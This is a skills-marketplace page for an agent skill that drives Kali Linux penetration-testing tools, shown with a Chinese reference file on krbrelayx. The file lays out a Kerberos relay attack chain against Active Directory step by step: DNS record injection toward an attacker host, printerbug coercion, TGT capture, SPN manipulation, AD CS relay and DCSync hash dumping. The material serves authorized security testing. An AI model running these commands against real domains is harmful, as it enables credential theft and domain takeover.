Skip to content

x-glacier/kali-pentest / kali-pentest-zh

kali-pentest-zh

Flagged

通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。

FileKindSize
SKILL.mdskill md15.6 KB
references/cloud-native/README.mdmarkdown4.2 KB
references/cloud-native/tools/azurehound.mdmarkdown4.0 KB
references/cloud-native/tools/docker-bench-security.mdmarkdown1.9 KB
references/cloud-native/tools/kube-bench.mdmarkdown1.7 KB
references/cloud-native/tools/kubescape.mdmarkdown1.7 KB
references/cloud-native/tools/pacu.mdmarkdown3.0 KB
references/cloud-native/tools/peirates.mdmarkdown6.4 KB
references/cloud-native/tools/prowler.mdmarkdown1.5 KB
references/cloud-native/tools/scoutsuite.mdmarkdown1.2 KB
references/environment/README.mdmarkdown1.4 KB
references/environment/docker-mode-networking.mdmarkdown2.2 KB
references/environment/docker-mode-persistent-container.mdmarkdown3.8 KB
references/environment/docker-mode.mdmarkdown2.0 KB
references/environment/local-mode.mdmarkdown946 B
references/environment/server-mode.mdmarkdown4.1 KB
references/environment/state-files.mdmarkdown2.3 KB
references/exploitation/README.mdmarkdown9.6 KB
references/exploitation/tools/chisel.mdmarkdown3.2 KB
references/exploitation/tools/coercer.mdmarkdown2.5 KB
references/exploitation/tools/dns2tcp.mdmarkdown3.8 KB
references/exploitation/tools/evil-winrm.mdmarkdown2.9 KB
references/exploitation/tools/evilginx2.mdmarkdown2.2 KB
references/exploitation/tools/getsploit.mdmarkdown2.0 KB
references/exploitation/tools/gophish.mdmarkdown6.1 KB
references/exploitation/tools/impacket.mdmarkdown10.9 KB
references/exploitation/tools/iodine.mdmarkdown3.5 KB
references/exploitation/tools/ligolo-ng.mdmarkdown3.3 KB
references/exploitation/tools/metasploit.mdmarkdown11.0 KB
references/exploitation/tools/mitm6.mdmarkdown2.6 KB
references/exploitation/tools/msfconsole.mdmarkdown3.9 KB
references/exploitation/tools/msfvenom.mdmarkdown8.5 KB
references/exploitation/tools/mssqlpwner.mdmarkdown2.5 KB
references/exploitation/tools/netcat.mdmarkdown4.4 KB
references/exploitation/tools/odat.mdmarkdown3.0 KB
references/exploitation/tools/proxytunnel.mdmarkdown2.2 KB
references/exploitation/tools/routersploit.mdmarkdown2.9 KB
references/exploitation/tools/searchsploit.mdmarkdown4.7 KB
references/exploitation/tools/setoolkit.mdmarkdown1015 B
references/exploitation/tools/smbclient.mdmarkdown2.8 KB
references/exploitation/tools/socat.mdmarkdown2.8 KB
references/exploitation/tools/veil.mdmarkdown2.9 KB
references/forensics/README.mdmarkdown8.8 KB
references/forensics/tools/bulk-extractor.mdmarkdown4.5 KB
references/forensics/tools/chainsaw.mdmarkdown2.6 KB
references/forensics/tools/chkrootkit.mdmarkdown2.6 KB
references/forensics/tools/dc3dd.mdmarkdown2.9 KB
references/forensics/tools/dcfldd.mdmarkdown3.2 KB
references/forensics/tools/ddrescue.mdmarkdown3.6 KB
references/forensics/tools/exiftool.mdmarkdown2.5 KB
references/forensics/tools/foremost.mdmarkdown2.4 KB
references/forensics/tools/hashdeep.mdmarkdown3.5 KB
references/forensics/tools/plaso.mdmarkdown3.7 KB
references/forensics/tools/regripper.mdmarkdown3.4 KB
references/forensics/tools/rkhunter.mdmarkdown3.4 KB
references/forensics/tools/scalpel.mdmarkdown2.6 KB
references/forensics/tools/sleuthkit.mdmarkdown4.0 KB
references/forensics/tools/ssdeep.mdmarkdown3.1 KB
references/forensics/tools/steghide.mdmarkdown2.8 KB
references/forensics/tools/stegseek.mdmarkdown2.5 KB
references/forensics/tools/tcpdump.mdmarkdown2.8 KB
references/forensics/tools/tcpflow.mdmarkdown3.4 KB
references/forensics/tools/testdisk.mdmarkdown3.0 KB
references/forensics/tools/tshark.mdmarkdown3.0 KB
references/forensics/tools/volatility.mdmarkdown5.0 KB
references/forensics/tools/yara.mdmarkdown3.3 KB
references/information-gathering/README.mdmarkdown15.6 KB
references/information-gathering/tools/altdns.mdmarkdown1.9 KB
references/information-gathering/tools/amass.mdmarkdown9.1 KB
references/information-gathering/tools/arp-scan.mdmarkdown1.9 KB
references/information-gathering/tools/assetfinder.mdmarkdown1.9 KB
references/information-gathering/tools/autorecon.mdmarkdown2.9 KB
references/information-gathering/tools/certgraph.mdmarkdown3.3 KB
references/information-gathering/tools/cloud-enum.mdmarkdown2.1 KB
references/information-gathering/tools/cloudbrute.mdmarkdown2.1 KB
references/information-gathering/tools/dig.mdmarkdown2.3 KB
references/information-gathering/tools/dmitry.mdmarkdown2.0 KB
references/information-gathering/tools/dnsenum.mdmarkdown1.7 KB
references/information-gathering/tools/dnsgen.mdmarkdown1.5 KB
references/information-gathering/tools/dnsmap.mdmarkdown1.8 KB
references/information-gathering/tools/dnsrecon.mdmarkdown2.7 KB
references/information-gathering/tools/dnstwist.mdmarkdown3.0 KB
references/information-gathering/tools/dnsx.mdmarkdown2.8 KB
references/information-gathering/tools/eyewitness.mdmarkdown2.4 KB
references/information-gathering/tools/fierce.mdmarkdown2.5 KB
references/information-gathering/tools/finalrecon.mdmarkdown2.4 KB
references/information-gathering/tools/findomain.mdmarkdown2.5 KB
references/information-gathering/tools/fping.mdmarkdown2.3 KB
references/information-gathering/tools/getallurls.mdmarkdown2.4 KB
references/information-gathering/tools/gowitness.mdmarkdown4.8 KB
references/information-gathering/tools/h8mail.mdmarkdown3.9 KB
references/information-gathering/tools/hakrawler.mdmarkdown2.3 KB
references/information-gathering/tools/hosthunter.mdmarkdown2.6 KB
references/information-gathering/tools/httprobe.mdmarkdown2.1 KB
references/information-gathering/tools/httpx.mdmarkdown4.6 KB
references/information-gathering/tools/ldeep.mdmarkdown4.9 KB
references/information-gathering/tools/masscan.mdmarkdown3.8 KB
references/information-gathering/tools/massdns.mdmarkdown1.9 KB
references/information-gathering/tools/metagoofil.mdmarkdown3.0 KB
references/information-gathering/tools/naabu.mdmarkdown2.7 KB
references/information-gathering/tools/nbtscan.mdmarkdown2.2 KB
references/information-gathering/tools/netdiscover.mdmarkdown2.6 KB
references/information-gathering/tools/nmap.mdmarkdown8.4 KB
references/information-gathering/tools/p0f.mdmarkdown2.1 KB
references/information-gathering/tools/recon-ng.mdmarkdown6.6 KB
references/information-gathering/tools/sherlock.mdmarkdown3.7 KB
references/information-gathering/tools/shodan.mdmarkdown3.6 KB
references/information-gathering/tools/spiderfoot.mdmarkdown2.7 KB
references/information-gathering/tools/subfinder.mdmarkdown2.5 KB
references/information-gathering/tools/sublist3r.mdmarkdown1.9 KB
references/information-gathering/tools/theHarvester.mdmarkdown2.9 KB
references/information-gathering/tools/trufflehog.mdmarkdown3.1 KB
references/information-gathering/tools/wafw00f.mdmarkdown1.9 KB
references/information-gathering/tools/whatweb.mdmarkdown5.1 KB
references/information-gathering/tools/whois.mdmarkdown2.0 KB
references/password/README.mdmarkdown11.8 KB
references/password/tools/brutespray.mdmarkdown2.8 KB
references/password/tools/cewl.mdmarkdown2.1 KB
references/password/tools/changeme.mdmarkdown3.0 KB
references/password/tools/chntpw.mdmarkdown2.5 KB
references/password/tools/crowbar.mdmarkdown2.6 KB
references/password/tools/crunch.mdmarkdown2.7 KB
references/password/tools/fcrackzip.mdmarkdown2.3 KB
references/password/tools/gpp-decrypt.mdmarkdown2.6 KB
references/password/tools/hashcat.mdmarkdown4.6 KB
references/password/tools/hashid.mdmarkdown2.1 KB
references/password/tools/hydra.mdmarkdown4.4 KB
references/password/tools/john.mdmarkdown3.2 KB
references/password/tools/kerbrute.mdmarkdown2.8 KB
references/password/tools/medusa.mdmarkdown3.3 KB
references/password/tools/name-that-hash.mdmarkdown3.2 KB
references/password/tools/ncrack.mdmarkdown3.3 KB
references/password/tools/netexec.mdmarkdown3.2 KB
references/password/tools/patator.mdmarkdown2.2 KB
references/password/tools/pdfcrack.mdmarkdown2.9 KB
references/password/tools/rainbowcrack.mdmarkdown2.9 KB
references/password/tools/responder.mdmarkdown2.7 KB
references/playbooks/README.mdmarkdown8.1 KB
references/playbooks/active-directory.mdmarkdown14.0 KB
references/playbooks/api-security.mdmarkdown18.6 KB
references/playbooks/cloud-native-assessment.mdmarkdown17.6 KB
references/playbooks/external-attack-surface.mdmarkdown8.1 KB
references/playbooks/forensics-triage.mdmarkdown11.7 KB
references/playbooks/internal-network-protocols.mdmarkdown6.5 KB
references/playbooks/internal-network.mdmarkdown14.4 KB
references/playbooks/mobile-application.mdmarkdown9.8 KB
references/playbooks/password-audit.mdmarkdown9.0 KB
references/playbooks/post-exploitation.mdmarkdown11.4 KB
references/playbooks/reporting-workflow.mdmarkdown6.3 KB
references/playbooks/rfid-nfc.mdmarkdown7.2 KB
references/playbooks/source-code-audit.mdmarkdown8.4 KB
references/playbooks/voip-ics.mdmarkdown17.3 KB
references/playbooks/web-application.mdmarkdown14.7 KB
references/playbooks/wireless-assessment.mdmarkdown9.6 KB
references/post-exploitation/README.mdmarkdown11.0 KB
references/post-exploitation/tools/bloodhound.mdmarkdown4.8 KB
references/post-exploitation/tools/bloodhound.py.mdmarkdown4.0 KB
references/post-exploitation/tools/bloodyad.mdmarkdown4.1 KB
references/post-exploitation/tools/certipy-ad.mdmarkdown3.2 KB
references/post-exploitation/tools/dnscat2.mdmarkdown3.5 KB
references/post-exploitation/tools/dploot.mdmarkdown4.2 KB
references/post-exploitation/tools/havoc.mdmarkdown3.8 KB
references/post-exploitation/tools/hekatomb.mdmarkdown3.0 KB
references/post-exploitation/tools/krbrelayx.mdmarkdown7.3 KB
references/post-exploitation/tools/lapsdumper.mdmarkdown2.4 KB
references/post-exploitation/tools/linpeas.mdmarkdown3.6 KB
references/post-exploitation/tools/linux-exploit-suggester.mdmarkdown2.8 KB
references/post-exploitation/tools/lsassy.mdmarkdown2.8 KB
references/post-exploitation/tools/mimikatz.mdmarkdown4.2 KB
references/post-exploitation/tools/powershell-empire.mdmarkdown4.0 KB
references/post-exploitation/tools/powersploit.mdmarkdown5.5 KB
references/post-exploitation/tools/proxychains.mdmarkdown2.1 KB
references/post-exploitation/tools/pspy.mdmarkdown2.8 KB
references/post-exploitation/tools/pwncat.mdmarkdown6.4 KB
references/post-exploitation/tools/sliver.mdmarkdown1.4 KB
references/post-exploitation/tools/sshuttle.mdmarkdown3.2 KB
references/post-exploitation/tools/winpeas.mdmarkdown3.0 KB
references/reporting/README.mdmarkdown2.5 KB
references/reporting/tools/pandoc.mdmarkdown3.2 KB
references/reporting/tools/report-template.mdmarkdown8.5 KB
references/reverse-engineering/README.mdmarkdown5.6 KB
references/reverse-engineering/tools/apktool.mdmarkdown1.8 KB
references/reverse-engineering/tools/binwalk.mdmarkdown3.0 KB
references/reverse-engineering/tools/checksec.mdmarkdown3.5 KB
references/reverse-engineering/tools/dex2jar.mdmarkdown3.2 KB
references/reverse-engineering/tools/frida.mdmarkdown2.4 KB
references/reverse-engineering/tools/ghidra-headless.mdmarkdown3.0 KB
references/reverse-engineering/tools/jadx.mdmarkdown2.2 KB
references/reverse-engineering/tools/ldd.mdmarkdown1.9 KB
references/reverse-engineering/tools/nm.mdmarkdown2.3 KB
references/reverse-engineering/tools/objdump.mdmarkdown2.5 KB
references/reverse-engineering/tools/objection.mdmarkdown3.0 KB
references/reverse-engineering/tools/rabin2.mdmarkdown2.3 KB
references/reverse-engineering/tools/radare2.mdmarkdown1.3 KB
references/reverse-engineering/tools/readelf.mdmarkdown2.3 KB
references/reverse-engineering/tools/ropper.mdmarkdown4.1 KB
references/reverse-engineering/tools/strings.mdmarkdown2.3 KB
references/reverse-engineering/tools/xxd.mdmarkdown2.3 KB
references/rfid-nfc/README.mdmarkdown2.7 KB
references/rfid-nfc/tools/libnfc.mdmarkdown2.2 KB

references/post-exploitation/tools/krbrelayx.md

View on GitHub
# krbrelayx

- **Category**: Post-Exploitation / Active Directory Kerberos Attacks
- **Risk Level**: 🔴 High

---

## 描述

一款用于 Kerberos 中继攻击和非约束委派滥用的 Active Directory 攻击工具包。包含四个互补工具:`krbrelayx.py`(Kerberos 中继服务器,捕获并重用 Kerberos 认证)、`addspn.py`(SPN 管理,支持添加、查询和删除服务主体名称)、`dnstool.py`(Active Directory 集成 DNS 记录操作)和 `printerbug.py`(SpoolService 强制认证,触发目标机器向攻击者发起认证)。这些工具组合可实现完整的非约束委派攻击链:强制认证、中继 Kerberos 票据、冒充特权账户。

## 安装

```bash
# 通过 apt 安装(主要方式)
sudo apt install krbrelayx

# 或通过 pip 安装
pip3 install krbrelayx

# 或从 GitHub 克隆
git clone https://github.com/dirkjanm/krbrelayx.git
cd krbrelayx
pip3 install .
```

## 参数说明

### krbrelayx.py(Kerberos 中继)

| 参数 | 说明 |
|------|------|
| `-t <hostname>` | 要攻击的目标(Kerberos 需要主机名,不支持 IP) |
| `-tf <file>` | 包含目标主机名的文件,每行一个 |
| `-w` | 监视目标文件更新并刷新列表 |
| `-ip <address>` | 绑定 SMB 和 HTTP 服务器的 IP 地址 |
| `-r <SMBSERVER>` | 将 HTTP 请求重定向到 SMBSERVER 上的 `file://` 路径 |
| `-l <dir>` | 存储捕获票据的目录(默认:当前目录) |
| `-f <format>` | 票据存储格式:`ccache` 或 `kirbi`(默认:ccache) |
| `-p <password>` | 用于密钥计算的账户密码 |
| `-hp <hexpass>` | 十六进制编码的密码(`--krbhexpass`) |
| `-s <username>` | Kerberos 密钥计算的区分大小写盐值(`--krbsalt`);仅在指定密码而非密钥时需要 |
| `-hashes <LM:NT>` | NTLM 哈希,格式为 LMHASH:NTHASH |
| `-aesKey <key>` | 用于 Kerberos 认证的 AES 密钥(128 或 256 位) |
| `-dc-ip <ip>` | 域控制器 IP 地址 |
| `-c <command>` | 在目标系统上执行的命令 |
| `-e <file>` | 在目标系统上运行的可执行文件 |
| `-codec <codec>` | 目标输出使用的编码(默认 utf-8) |
| `-no-smb2support` | 禁用 SMB2 支持 |
| `-wh <host>` | 提供 WPAD 文件以进行代理认证攻击,设置代理主机(`--wpad-host`) |
| `-wa <num>` | 在提供 WPAD 前提示认证 N 次(`--wpad-auth-num`) |
| `--adcs` | 启用 AD CS 中继攻击 |
| `--template <name>` | 证书请求的 AD CS 模板 |
| `--altname <name>` | 用于 ESC1/ESC6 攻击的主题备用名称(SAN) |
| `-v <user>` | 证书请求的目标用户名或计算机名 |
| `--no-validate-privs` | 跳过权限枚举直接假定有权限 |
| `-6` | 同时监听 IPv6 和 IPv4 |

#### krbrelayx.py — LDAP 攻击选项(中继到 LDAP/LDAPS)

| 参数 | 说明 |
|------|------|
| `--escalate-user <user>` | 通过授予 DCSync 式权限提升该用户的权限(ACL 攻击) |
| `--add-computer [name]` | 尝试通过中继的 LDAP 会话添加新的计算机账户 |
| `--delegate-access` | 将中继计算机账户的访问权限委派给指定账户(RBCD) |
| `--sid` | 对 `--escalate-user` 使用 SID 而非 sAMAccountName |
| `--enum-local-admins` | 尝试枚举目标上的本地管理员(SAMR/LSAT) |
| `--no-dump` | 连接时不转储 LDAP 域信息 |
| `--no-da` | 不尝试添加域管理员(仅进行权限提升) |
| `--no-acl` | 禁用 ACL 攻击(escalate-user / RBCD) |
| `--dump-laps` | 尝试转储 LAPS 密码 |
| `--dump-gmsa` | 尝试转储 gMSA 密码 |
| `--dump-adcs` | 尝试转储 AD CS 注册服务和模板 |

### dnstool.py(AD DNS 操作)

| 参数 | 说明 |
|------|------|
| `<host>` | 目标主机名或 ldap://host:port 连接字符串 |
| `-u <domain\user>` | 认证用户名 |
| `-p <password>` | 密码或 LM:NTLM 哈希 |
| `-r <record>` | 目标 DNS 记录 FQDN |
| `-a <action>` | 操作类型:`add`、`modify`、`query`、`remove`、`resurrect`、`ldapdelete` |
| `-t <type>` | 记录类型(默认:A) |
| `-d <data>` | 记录数据(A 记录为 IP 地址) |
| `-dc-ip <ip>` | 域控制器 IP 地址 |
| `--zone <zone>` | DNS 区域(默认为域名) |
| `--forest` | 在 ForestDnsZones 分区中搜索 |
| `--legacy` | 在 System 分区中搜索 |
| `--ttl <seconds>` | TTL 值(默认:180) |
| `-k` | 使用 ccache 中的 Kerberos 认证 |

### addspn.py(SPN 管理)

| 参数 | 说明 |
|------|------|
| `<host>` | 目标主机名或 ldap://host:port 连接字符串 |
| `-u <domain\user>` | 认证用户名 |
| `-p <password>` | 密码或 LM:NTLM 哈希 |
| `-t <target>` | 要修改的目标账户(FQDN 或 COMPUTER$ 名称) |
| `-s <SPN>` | 要添加的 SPN 值(如 http/host.domain.local) |
| `-q` | 查询模式——列出现有 SPN |
| `-r` | 删除指定的 SPN |
| `-c` | 清除目标上的所有 SPN |
| `-a` | 通过 msDS-AdditionalDnsHostName 属性添加 SPN |
| `-dc-ip <ip>` | 域控制器 IP 地址 |
| `-k` | 使用 ccache 中的 Kerberos 认证 |

### printerbug.py(SpoolService 强制认证)

| 参数 | 说明 |
|------|------|
| `<target>` | `[[domain/]username[:password]@]<targetName>` |
| `<attackerhost>` | 接收回调的主机名 |
| `-hashes <LM:NT>` | NTLM 哈希,格式为 LMHASH:NTHASH |
| `-no-pass` | 不提示输入密码 |
| `-k` | 使用 ccache 中的 Kerberos 认证 |
| `-dc-ip <ip>` | 域控制器 IP 地址 |
| `-target-ip <ip>` | 目标机器的 IP 地址 |
| `-port <port>` | 目标 SMB 端口:139 或 445(默认:445) |

## 常用命令

```bash
# 非约束委派攻击——第一步:添加指向攻击者的 DNS 记录
python3 dnstool.py -u 'corp.local\jdoe' -p 'P@ssw0rd' \
  -a add -r attacker.corp.local -d 10.0.0.50 -dc-ip 192.168.1.10 dc01.corp.local

# 第二步:启动 krbrelayx 监听器以捕获 TGT
python3 krbrelayx.py -aesKey <aes256_key_of_compromised_server> \
  -l /tmp/loot -f ccache

# 第三步:触发 SpoolService 强制认证,迫使域控发起认证
python3 printerbug.py 'corp.local/jdoe:P@ssw0rd@192.168.1.10' attacker.corp.local

# 查询目标账户上的现有 SPN
python3 addspn.py -u 'corp.local\jdoe' -p 'P@ssw0rd' \
  -t 'cn=websrv,cn=computers,dc=corp,dc=local' -q -dc-ip 192.168.1.10 dc01.corp.local

# 向被攻陷的账户添加 SPN(用于 Kerberoasting 或中继)
python3 addspn.py -u 'corp.local\jdoe' -p 'P@ssw0rd' \
  -t 'cn=websrv,cn=computers,dc=corp,dc=local' \
  -s 'http/attacker.corp.local' -dc-ip 192.168.1.10 dc01.corp.local

# AD CS 中继攻击——为目标账户捕获证书
python3 krbrelayx.py -aesKey <aes256_key> --adcs --template Machine -v dc01$
```

## 注意事项

1. 非约束委派滥用需要一个已被攻陷且启用了非约束委派的机器账户——使用 BloodHound 或 ldapsearch 进行枚举。
2. `krbrelayx.py` 所需的 AES 密钥来自被攻陷机器的密钥——通过 `secretsdump.py` 或 `mimikatz` 提取。
3. `dnstool.py` 操作 AD 集成 DNS,默认情况下经过认证的用户可以创建新记录——利用此特性将 DNS 名称指向攻击者主机。
4. `printerbug.py` 利用 SpoolService(MS-RPRN)——该服务在大多数 Windows 服务器(包括域控制器)上默认启用。
5. 通过 krbrelayx 捕获域控 TGT 后,配合 `secretsdump.py` 执行 DCSync 以提取所有域哈希。

---

## 官方参考

- [krbrelayx (GitHub)](https://github.com/dirkjanm/krbrelayx)
- [Kali krbrelayx](https://www.kali.org/tools/krbrelayx/)
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall